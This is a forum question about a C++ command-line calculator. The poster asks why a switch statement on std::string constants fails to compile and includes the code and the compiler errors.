  I have researched my issue all over StackOverflow and multi-google links, and I am still confused. I figured the best thing for me is ask... Im creating a simple command line calculator. Here is my code so far: const std::string Calculator::SIN("sin"); const std::string Calculator::COS("cos"); const std::string Calculator::TAN("tan"); const std::string Calculator::LOG( "log" ); const std::string Calculator::LOG10( "log10" ); void Calculator::set_command( std::string cmd ) { for(unsigned i = 0; i < cmd.length(); i++) { cmd[i] = tolower(cmd[i]); } command = cmd; } bool Calculator::is_legal_command() const { switch(command) { case TAN: case SIN: case COS: case LOG: case LOG10: return true; break; default: return false; break; } } the error i get is: Calculator.cpp: In member function 'bool Calculator::is_trig_command() const': Calculator.cpp: error: switch quantity not an integer Calculator.cpp: error: 'Calculator::TAN' cannot appear in a constant-expression Calculator.cpp: error: 'Calculator::SIN' cannot appear in a constant-expression Calculator.cpp: error: 'Calculator::COS' cannot appear in a constant-expression The mighty internet, it says strings are allowed to be used in switch statements. Thanks everyone, I appreciate your help.

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